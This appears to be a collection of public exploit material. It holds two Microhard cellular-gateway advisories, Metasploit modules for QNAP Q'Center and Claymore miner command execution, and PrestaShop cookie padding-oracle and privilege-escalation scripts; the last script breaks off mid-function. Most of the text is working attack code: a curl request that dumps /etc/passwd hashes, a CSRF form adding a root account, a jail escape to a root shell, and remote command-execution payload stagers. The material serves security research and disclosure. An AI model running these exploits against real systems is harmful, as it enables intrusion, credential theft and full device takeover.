wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: Due to the hidden and undocumented File Editor (Filesystem Browser) shell script
'system-editor.sh' an attacker can leverage this issue to read, modify or delete arbitrary
files on the system. Input passed thru the 'path' and 'savefile', 'edit' and 'delfile' GET
and POST parameters is not properly sanitized before being used to modify files. This can
be exploited by an authenticated attacker to read or modify arbitrary files on the affected
system.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5485
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5485.php
13.03.2018
--
Download (script):
------------------
# curl "http://192.168.1.1/cgi-bin/webif/download.sh?script=/cgi-bin/webif/system-editor.sh&path=/etc&savefile=passwd" -H "Authorization: Basic YWRtaW46YWRtaW4="
root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/:0:0:root:/:/bin/ash
admin:$1$0VKXa1iD$.Jw20V3iH3kx6VSLjsFZP.:0:0:admin:/:/etc/m_cli/m_cli.sh
upgrade:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1:500:500:ftpupgrade:/upgrade/upgrade:/bin/false
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/:0:0:admin:/:/bin/atUI
nobody:*:65534:65534:nobody:/var:/bin/false
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.:0:0:Linux User,,,:/:/etc/testlab.sh
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0:0:0:Linux User,,,:/:/etc/m_cli/m_cli.sh
testingus:$1$S9c8yiFq$P96OckXNQMhpKjFoRx1sL.:1000:1000:Linux User,,,:/home/testingus:/bin/false
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh
Edit (edit):
------------
CSRF add roOt:rewt to htpasswd:
<html>
<body>
<form action="http://192.168.1.1/cgi-bin/webif/system-editor.sh" method="POST" enctype="multipart/form-data">
<input type="hidden" name="path" value="/etc" />
<input type="hidden" name="edit" value="htpasswd" />
<input type="hidden" name="filecontent" value="root:$1$fwjr710d$lOBXhRTmQk/rLLJY5sitO/
admin:$1$ZsGmi0zo$nHGOo8TJCoTIoUGOKK/Oc1
at:$1$rKAtMKeY$RSLlzCp8LzEENRaBk615o/
testlab:$1$.ezacuj4$s.hoiWAaLH7G./vHcfXku.
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0
testlab1:$1$tV44sdhe$cgoB4Pk814NQl.1Uo90It0
roOt:$1$MJOnV/Y3$tDnMIBMy0lEQ2kDpfgTJP0" />
<input type="hidden" name="save" value=" Save Changes " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Delete (delfile):
-----------------
GET /cgi-bin/webif/system-editor.sh?path=/www&delfile=pwn.txt HTTP/1.1
Or edit and remove sanitization:
File: /usr/lib/webif/sanitize.awk
// { _str=$0;
gsub(/ /,"",_str)
gsub(/\|/,"",_str)
gsub(/\\/,"",_str)
gsub(/&/,"",_str)
gsub(/\^/,"",_str)
gsub(/\$/,"",_str)
gsub(/'/,"",_str)
gsub(/"/,"",_str)
gsub(/`/,"",_str)
gsub(/\{/,"",_str)
gsub(/\}/,"",_str)
gsub(/\(/,"",_str)
gsub(/\)/,"",_str)
gsub(/;/,"",_str)
print _str
}
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => "QNAP Q'Center change_passwd Command Execution",
'Description' => %q{
This module exploits a command injection vulnerability in the
`change_passwd` API method within the web interface of QNAP Q'Center
virtual appliance versions prior to 1.7.1083.
The vulnerability allows the 'admin' privileged user account to
execute arbitrary commands as the 'admin' operating system user.
Valid credentials for the 'admin' user account are required, however,
this module also exploits a separate password disclosure issue which
allows any authenticated user to view the password set for the 'admin'
user during first install.
This module has been tested successfully on QNAP Q'Center appliance
version 1.6.1075.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ivan Huertas', # Discovery and PoC
'Brendan Coles' # Metasploit
],
'References' =>
[
['CVE', '2018-0706'], # privesc
['CVE', '2018-0707'], # rce
['EDB', '45015'],
['URL', 'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities'],
['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'],
['URL', 'https://www.securityfocus.com/archive/1/542141'],
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Auto', { }]],
'CmdStagerFlavor' => %w[printf bourne wget],
'Privileged' => false,
'DisclosureDate' => 'Jul 11 2018',
'DefaultOptions' => {'RPORT' => 443, 'SSL' => true},
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, "Base path to Q'Center", '/qcenter/']),
OptString.new('USERNAME', [true, 'Username for the application', 'admin']),
OptString.new('PASSWORD', [true, 'Password for the application', 'admin'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
def check
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.html')
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200 && res.body.include?("<title>Q'center</title>")
vprint_error "Target is not a QNAP Q'Center appliance"
return CheckCode::Safe
end
version = res.body.scan(/\.js\?_v=([\d\.]+)/).flatten.first
if version.to_s.eql? ''
vprint_error "Could not determine QNAP Q'Center appliance version"
return CheckCode::Detected
end
version = Gem::Version.new version
vprint_status "Target is QNAP Q'Center appliance version #{version}"
if version >= Gem::Version.new('1.7.1083')
return CheckCode::Safe
end
CheckCode::Appears
end
def login(user, pass)
vars_post = {
name: user,
password: Rex::Text.encode_base64(pass),
remember: 'false'
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/login'),
'ctype' => 'application/json',
'data' => vars_post.to_json
})
if res.nil?
fail_with Failure::Unreachable, 'Connection failed'
elsif res.code == 200 && res.body.eql?('{}')
print_good "Authenticated as user '#{user}' successfully"
elsif res.code == 401 || res.body.include?('AuthException')
fail_with Failure::NoAccess, "Invalid credentials for user '#{user}'"
else
fail_with Failure::UnexpectedReply, "Unexpected reply [#{res.code}]"
end
@cookie = res.get_cookies
if @cookie.nil?
fail_with Failure::UnexpectedReply, 'Failed to retrieve cookie'
end
end
#
# Retrieve list of user accounts
#
def account
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'),
'cookie' => @cookie
})
JSON.parse(res.body)['account']
rescue
print_error 'Could not retrieve list of users'
nil
end
#
# Login to the 'admin' privileged user account
#
def privesc
print_status 'Retrieving admin user details ...'
admin = account.first
if admin.blank? || admin['_id'].blank? || admin['name'].blank? || admin['new_password'].blank?
fail_with Failure::UnexpectedReply, 'Failed to retrieve admin user details'
end
@id = admin['_id']
@pw = Rex::Text.decode_base64 admin['new_password']
print_good "Found admin password used during install: #{@pw}"
login admin['name'], @pw
end
#
# Change password to +new+ for user with ID +id+
#
def change_passwd(id, old, new)
vars_post = {
_id: id,
old_password: Rex::Text.encode_base64(old),
new_password: Rex::Text.encode_base64(new),
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/hawkeye/v1/account'),
'query' => 'change_passwd',
'cookie' => @cookie,
'ctype' => 'application/json',
'data' => vars_post.to_json
}, 5)
end
def execute_command(cmd, _opts)
change_passwd @id, @pw, "\";#{cmd};\""
end
def exploit
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
login datastore['USERNAME'], datastore['PASSWORD']
if datastore['USERNAME'].eql? 'admin'
@id = @cookie.scan(/_ID=(.+?);/).flatten.first
@pw = datastore['PASSWORD']
else
privesc
end
print_status 'Sending payload ...'
execute_cmdstager linemax: 10_000
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Nanopool Claymore Dual Miner APIs RCE',
'Description' => %q{
This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability.
},
'Author' =>
[
'reversebrain@snado', # Vulnerability reporter
'phra@snado' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '44638'],
['CVE', '2018-1000049'],
['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/']
],
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Automatic Target', { 'auto' => true }],
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ]
}
],
[ 'Windows',
{
'Platform' => 'windows',
'Arch' => ARCH_X64,
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DisclosureDate' => 'Feb 09 2018',
'DefaultTarget' => 0))
register_options(
[
OptPort.new('RPORT', [ true, 'Set miner port', 3333 ])
])
deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST')
end
def select_target
data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
if tmp2.scan(/\w+/)[7]
return self.targets[2]
elsif tmp2.scan(/\w+/)[5]
return self.targets[1]
else
return nil
end
end
def check
target = select_target
if target.nil?
return Exploit::CheckCode::Safe
end
data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''
tmp = StringIO.new
tmp << buf
tmp2 = tmp.string
hex = ''
case target['Platform']
when 'linux'
hex = tmp2.scan(/\w+/)[5]
when 'windows'
hex = tmp2.scan(/\w+/)[7]
end
str = Rex::Text.hex_to_raw(hex)
if str.include?('WARNING')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Detected
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
ensure
disconnect
end
def execute_command(cmd, opts = {})
target = select_target
case target['Platform']
when 'linux'
cmd = Rex::Text.to_hex(cmd, '')
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bash', "#{cmd}"]
}.to_json
when 'windows'
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '')
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bat', "#{cmd}"]
}.to_json
end
connect
sock.put(upload)
buf = sock.get_once || ''
trigger_vulnerability
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::UnexpectedReply, e.message)
ensure
disconnect
end
def trigger_vulnerability
execute = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_reboot'
}.to_json
connect
sock.put(execute)
buf = sock.get_once || ''
disconnect
end
def exploit
target = select_target
if target.nil?
fail_with(Failure::NoTarget, 'No matching target')
end
if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
(target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i)
fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'")
end
case target['Platform']
when 'linux'
execute_cmdstager(flavor: :echo, linemax: 100000)
when 'windows'
execute_cmdstager(flavor: :vbs, linemax: 100000)
end
end
end
Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak
Vendor: Microhard Systems Inc.
Product web page: http://www.microhardcorp.com
Affected version: IPn4G 1.1.0 build 1098
IPn3Gb 2.2.0 build 2160
IPn4Gb 1.1.6 build 1184-14
IPn4Gb 1.1.0 Rev 2 build 1090-2
IPn4Gb 1.1.0 Rev 2 build 1086
Bullet-3G 1.2.0 Rev A build 1032
VIP4Gb 1.1.6 build 1204
VIP4G 1.1.6 Rev 3.0 build 1184-14
VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
IPn3Gii / Bullet-3G 1.2.0 build 1076
IPn4Gii / Bullet-LTE 1.2.0 build 1078
BulletPlus 1.3.0 build 1036
Dragon-LTE 1.1.0 build 1036
Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
RS232/485/422 devices!
The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
the widespread deployment of cellular network infrastructure for critical data collection.
From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
provides robust and secure wireless communication of Serial, USB and Ethernet data.
The all new Bullet-3G provides a compact, robust, feature packed industrial strength
wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
to the next level by providing features such as Ethernet with PoE, RS232 Serial port
and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
worth looking at!
The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
system integration and design flexibility with dual Ethernet Ports and high power
802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
Control Lists, the Dragon-LTE provides a solution for any cellular application!
The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
network infrastructure for critical data communications. The VIP4Gb provides simultaneous
network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
Desc: The web shell application includes a service called Microhard Sh that is documented
only as 'reserved for internal use'. This service can be enabled by an authenticated
user within the Services menu in the web admin panel. This can also be enabled via CSRF
attack. When the service is enabled, a user 'msshc' is created on the system with password
'msshc' for SSH shell access on port 22. When connected, the user is dropped into a NcFTP
jailed environment, that has limited commands for file transfer administration. One of the
commands is a custom added 'ping' command that has a command injection vulnerability that
allows the attacker to escape the restricted environment and enter into a root shell terminal
that can execute commands as the root user.
Tested on: httpd-ssl-1.0.0
Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2018-5486
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5486.php
13.03.2018
--
1) Enable Microhard Sh service:
-------------------------------
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=start - Start the Microhard Sh (msshc) service
http://192.168.1.1/cgi-bin/webif/system-services.sh?service=msshc&action=enable - Auto-enable (auto-start)
2) Check what happens when enabling Microhard Sh service:
---------------------------------------------------------
# cat /etc/init.d/msshc
#!/bin/sh /etc/rc.common
# Copyright (C) 2013 Microhardcorp
start() {
deluser msshc
rm -rf /tmp/msshc
mkdir -p /tmp/msshc
msshcshell=$(cat /etc/shells | grep -c "/etc/msshc.sh")
[ $msshcshell -gt 0 ] || echo "/etc/msshc.sh" >> /etc/shells
passwd=$(/sbin/uci get msshc.general.passwd)
echo "$passwd" >> /etc/passwd
}
stop() {
deluser msshc
rm -rf /tmp/msshc
}
3) Check the /etc/msshc.sh script:
----------------------------------
# cat /etc/msshc.sh
#!/bin/sh
# Copyright (C) 2013 Microhardcorp
/usr/bin/ncftp
exit 0
4) Check the /sbin/uci binary:
------------------------------
Usage: /sbin/uci [<options>] <command> [<arguments>]
Commands:
batch
export [<config>]
import [<config>]
changes [<config>]
commit [<config>]
add <config> <section-type>
add_list <config>.<section>.<option>=<string>
show [<config>[.<section>[.<option>]]]
get <config>.<section>[.<option>]
set <config>.<section>[.<option>]=<value>
delete <config>[.<section[.<option>]]
rename <config>.<section>[.<option>]=<name>
revert <config>[.<section>[.<option>]]
Options:
-c <path> set the search path for config files (default: /etc/config)
-d <str> set the delimiter for list values in uci show
-f <file> use <file> as input instead of stdin
-L do not load any plugins
-m when importing, merge data into an existing package
-n name unnamed sections on export (default)
-N don't name unnamed sections
-p <path> add a search path for config change files
-P <path> add a search path for config change files and use as default
-q quiet mode (don't print error messages)
-s force strict mode (stop on parser errors, default)
-S disable strict mode
-X do not use extended syntax on 'show'
# /sbin/uci get msshc.general.passwd
msshc:$1$bM7uisGu$iMRC.LVlXjKAv7Y07t1fm/:0:0:root:/tmp/msshc:/etc/msshc.sh
5) Check the NcFTP binary:
--------------------------
# /usr/bin/ncftp -h
Usage: ncftp [flags] [<host> | <directory URL to browse>]
Flags:
-u XX Use username XX instead of anonymous.
-p XX Use password XX with the username.
-P XX Use port number XX instead of the default FTP service port (21).
-j XX Use account XX with the username (rarely needed).
-F Dump a sample $HOME/.ncftp/firewall prefs file to stdout and exit.
Program version: NcFTP 3.2.5/474 Feb 02 2011, 05:13 PM
Library version: LibNcFTP 3.2.5 (January 17, 2011)
Build system: Linux DProBuilder 2.6.34.9-69.fc13.i686.PAE #1 SMP Tue Ma...
This is a freeware program by Mike Gleason (http://www.NcFTP.com).
A directory URL ends in a slash, i.e. ftp://ftp.freebsd.org/pub/FreeBSD/
Use ncftpget and ncftpput for command-line FTP and file URLs.
6) Go to jail:
--------------
lqwrm@metalgear:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 msshc@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
RSA key fingerprint is SHA256:x9GG/Dlkg88058ilA2xyhYqllYRgZOTPu6reGS8K1Yg.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.
msshc@192.168.1.1's password:
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (http://www.NcFTP.com/contact/).
Copyright (c) 1992-2011 by Mike Gleason.
All rights reserved.
ncftp> ?
Commands may be abbreviated. 'help showall' shows hidden and unsupported
commands. 'help <command>' gives a brief description of <command>.
ascii close help mkdir put rename set umask
binary debug lls open pwd rhelp show
cd dir lrm passive quit rm site
chmod get ls ping quote rmdir type
For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> help showall
Commands may be abbreviated. 'help showall' shows hidden and unsupported
commands. 'help <command>' gives a brief description of <command>.
? chmod exit ls mv pwd rhelp site
ascii close get mget open quit rm type
binary debug help mkdir passive quote rmdir umask
bye delete lls mls ping rename set
cd dir lrm mput put rglob show
For details, please see the manual ("man ncftp" at your regular shell prompt
or online at http://www.NcFTP.com/ncftp/doc/ncftp.html).
ncftp> ls
ls: must be connected to do that.
ncftp> man ncftp
man: no such command.
ncftp> pwd
pwd: must be connected to do that.
ncftp> show
anon-password NcFTP@
auto-ascii |.txt|.asc|.html|.htm|.css|.xml|.ini|.pl|.hqx|.cfg|.c|.h|.cpp|.hpp|.bat|.m3u|.pls|
auto-resume no
autosave-bookmark-changes no
confirm-close no
connect-timeout 20
control-timeout 135
logsize 10240
pager more
passive optional
progress-meter 2 (statbar)
redial-delay 20
save-passwords ask
show-status-in-xterm-titlebar no
so-bufsize 0 (use system default)
xfer-timeout 3600
yes-i-know-about-NcFTPd no
ncftp>
7) The Shawshank Redemption:
----------------------------
ncftp> ping -c1 -4 0.0.0.0 `id`
BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) multi-call binary
Usage: ping [OPTIONS] HOST
Send ICMP ECHO_REQUEST packets to network hosts
Options:
-4, -6 Force IPv4 or IPv6 hostname resolution
-c CNT Send only CNT pings
-s SIZE Send SIZE data bytes in packets (default:56)
-I IFACE/IP Use interface or IP address as source
-W SEC Seconds to wait for the first response (default:10)
(after all -c CNT packets are sent)
-w SEC Seconds until ping exits (default:infinite)
(can exit earlier with -c CNT)
-q Quiet, only displays output at start
and when finished
ncftp>
8) Come on Andy:
----------------
ncftp> ping -c1 -4 0.0.0.0 && /bin/sh
PING 0.0.0.0 (0.0.0.0): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.423 ms
--- 0.0.0.0 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.423/0.423/0.423 ms
BusyBox v1.15.3 (2016-06-20 14:58:14 MDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/tmp/msshc # id ; uname -r
uid=0(root) gid=0(root)
2.6.32.9
/tmp/msshc #
#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 AES (Rijndael) / openssl_encrypt() Cookie Read
# Charles Fol
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
# This POC will reveal the content of an employee's cookie.
# By modifying it one can read/write any PrestaShop cookie.
# It is a simple padding oracle implementation.
#
import requests
import urllib.parse
import base64
s = requests.Session()
"""
s.proxies = {
'http': 'localhost:8080',
'https': 'localhost:8080',
}
#"""
# Login as an employee, get your cookie and paste it here along with the URL
URL = "http://vmweb5/prestashop/admin177chuncw/"
cookie = "PrestaShop-b0ebb4f17b3e451202e5b044e29ed75d=20NxjuYuGVhSt8n0M54Av9Qkpyzl9axkK%2BGgLLCcv0MLQZhLAEV8lnq6U2Ew2n5aMUOYqkrkpqjputuLiBEqqW7pIce8cUv%2F3SEFp3tPnWfCgJgXKUsR1htOQ4KAoXyYLhoc31kVgcm39OhQh5Zg3A78HnO1On2udHwN8dTRdI86kewEFZPNtmMeBF7sAr9zezevsjK1VU4BI84EVXCYQuuhnVehoqfAa9XoZC%2FD3FEmDSuspZw2AUB0S7Py6ks6eEeCVDWieBKDsHD13UK%2FzgM%2F65m5rpU1P4BSQSHN2Qs%3D000208"
# Parse blocks and size
cookie_name, cookie_value = cookie.split("=")
cookie_value = urllib.parse.unquote(cookie_value)
cookie_size = cookie_value[-6:]
cookie_value = cookie_value[:-6]
cookie_value = base64.b64decode(cookie_value)
BLOCK_SIZE = 16
def test_padding(data):
"""Returns true if the padding is correct, false otherwise.
One can easily adapt it for customer cookies using:
index.php?controller=identity
"""
data = base64.b64encode(data).decode()
data = urllib.parse.quote(data)
data = data + cookie_size
s.cookies[cookie_name] = data
r = s.get(URL, allow_redirects=False)
s.cookies.clear()
return 'AdminLogin' not in r.headers.get('Location', '')
def e(msg):
print(msg)
exit(1)
if not test_padding(cookie_value):
e("Invalid cookie (1)")
elif test_padding(b"~~~~~"):
e("Invalid cookie (2)")
# Perform the padding oracle attack
result = b''
for b in range(1, len(cookie_value) // BLOCK_SIZE + 1):
obtained = []
current_block = cookie_value[(b ) * BLOCK_SIZE:][:BLOCK_SIZE]
precedent_block = cookie_value[(b - 1) * BLOCK_SIZE:][:BLOCK_SIZE]
for p in range(BLOCK_SIZE):
nb_obtained = len(obtained)
for i in range(256):
pad = nb_obtained + 1
prelude = (
b"\x00" * (BLOCK_SIZE - pad) +
bytes([i]) +
bytes([o ^ pad for o in obtained][::-1])
)
data = cookie_value + prelude + current_block
if test_padding(data):
print("Got byte #%d of block #%d: %d" % (p, b, i))
obtained.append(i ^ pad)
break
else:
e("Unable to decode position %d" % p)
# Compute the contents of the plaintext block
result += bytes([o ^ p for p, o in zip(precedent_block, obtained[::-1])])
try:
print("COOKIE: %s" % result.decode())
except UnicodeDecodeError:
print("COOKIE: Unable to decode, wait for next block")
<--- exploit.py --->
#!/usr/bin/env python3
# PrestaShop <= 1.6.1.19 Privilege Escalation
# Charles Fol
# 2018-07-10
#
# See https://ambionics.io/blog/prestashop-privilege-escalation
#
#
# The condition for this exploit to work is for an employee to have the same
# password as a customer. The exploit will yield a valid employee cookie for
# back office access.
#
# With a bit of tweaking, one can modify the exploit to access any customer
# account, get access to statistics, coupons, etc. or get an admin CSRF token.
#
# The attack may fail for a variety of reasons, including me messing up the
# padding somewhere. You might need to run the exploit several times.
#
# POSSIBLE IMPROVEMENTS
# - Improve the employee detection method
# - Implement the RCE step
#
# gcc -o crc_xor crc_xor.c
# vi exploit.py
# ./exploit.py
import requests
import urllib.parse
import binascii
import string
import itertools
import sys
import os
import re
# EDIT THIS
BASE_URL = 'http://vmweb3.corp.lexfo.fr/prestashop'
ADMIN_URL = 'http://vmweb3.corp.lexfo.fr/prestashop/admin2904aqvyb'
CUSTOMER_EMAIL = 'user@user.io'
CUSTOMER_PASSWORD = 'password2'
# Helpers
def http_session():
"""Every HTTP session will be spawned from this function. You can add a
proxy or custom rules.
"""
s = requests.Session()
#s.proxies = {'http': 'localhost:8080'}
return s
def bl(string):
"""¤ is 2 bytes long, which forces us to encode strings before using len().
"""
return len(string.encode())
def cs(blocks, offset=0):
"""Computes the full size of the cookie and returns it as a last 6-digit
block.
"""
if offset > 0:
offset -= SIZE_BLOCK
return [
'%06d' % (len(blocks) * SIZE_BLOCK + offset)
]
def xor(a, b):
"""XORs two strings and returns the result as bytes.
"""
return bytes(x ^ y for x, y in zip(a.encode(), b.encode()))
def pb(n, z=False):
"""Returns the padding required to align n with SIZE_BLOCK, and its position
in blocks. The z flag indicates if padding can be zero.
"""
padding = (- n) % SIZE_BLOCK
if z and padding == 0:
padding = SIZE_BLOCK
block = (n + padding) // SIZE_BLOCK
return padding, block
crc32 = binascii.crc32
SIZE_BLOCK = 8
BASE_BYTE = '`'
SIZE_LASTNAME_TO_FIRSTNAME = bl(
'¤customer_firstname|'
)
SIZE_FIRSTNAME_TO_PASSWD = bl(
'¤logged|1¤is_guest|¤passwd|'
)
SIZE_FIRSTNAME_TO_EMAIL = SIZE_FIRSTNAME_TO_PASSWD + bl(
'86df199881eaf8e9bb158c4f6b71ca0a¤email|'
)
# Variable: it is properly set in PrestaShop.find_alignment
SIZE_EMAIL_TO_END = bl(
'¤id_cart|12345¤id_guest|6¤'
)
ZERO_BLOCK = b'\x00' * SIZE_BLOCK
FIRSTNAME = BASE_BYTE * 32
CHARSET_LASTNAME = string.ascii_letters
EMAIL_DOMAIN = '@test.fr'
MAX_ID_CUSTOMER = 100
MAX_ID_EMPLOYEE = 100
# Exploit classes
class Exploitation:
"""Exploitation class. Handles the flow of the attack.
The main process is the following:
1. X = read(cart_id)
2. Change password to recover_cart_X
3. read(password)
-> we have a token to recover the cart, and therefore the customer
password
4. write(id_employee, Z)
5. write(id_customer, Y)
-> customer Y associated with cart_id X
6. Do the "Recover cart" procedure with the token
7. Access backoffice. If employee's Z password is the same as customer
Y, then we obtain backoffice access
"""
def __init__(self, session, email, password):
self.s = http_session()
self.ps = PrestaShop(session, email, password)
Cookie.ps = self.ps
def prelude(self):
self.ps.login()
self.ps.find_alignment()
self.ps.get_encrypted_numbers()
self.ps.build_cookies()
def run(self):
"""Runs the exploit.
"""
self.prelude()
id_cart = self.read_id_cart()
token = self.read_cart_token(id_cart)
self.get_employee_cookie_name()
self.get_write_blocks()
self.get_nb_employees()
for target_customer in range(1, MAX_ID_CUSTOMER):
if not self.associate_id_customer(target_customer):
break
for target_employee in range(1, self.nb_employees+1):
print("Trying customer[%d] employee[%d]" % (
target_customer, target_employee
))
cookie = self.write_id_employee(target_employee)
cookie = self.recover_cart(id_cart, token, cookie)
if cookie:
print('Success !!!')
print('Backoffice cookie:')
print('%s=%s' % (self.employee_cookie_name, cookie))
return
print('No employee has the same password as a customer')
def get_employee_cookie_name(self):
"""Obtains the name of the cookie for the backoffice.
"""
self.s.get(ADMIN_URL + '/index.php')
for c, v in self.s.cookies.items():
if c.startswith('PrestaShop-'):
self.employee_cookie_name = c
break
else:
raise ValueError('Unable to find customer cookie')
print('Employee cookie name: %s' % self.employee_cookie_name)
def get_nb_employees(self):
"""Obtains the number of employees by requesting pdf.php with a spoofed
id_employee cookie and iterating.
It breaks after the first failure, so there might be cases where it
fails to detect every employee.
"""
ecn = self.employee_cookie_name
for i in range(1, MAX_ID_EMPLOYEE):
cookie = self.write_id_employee(i)
self.s.cookies.clear()
self.s.cookies[ecn] = str(cookie)
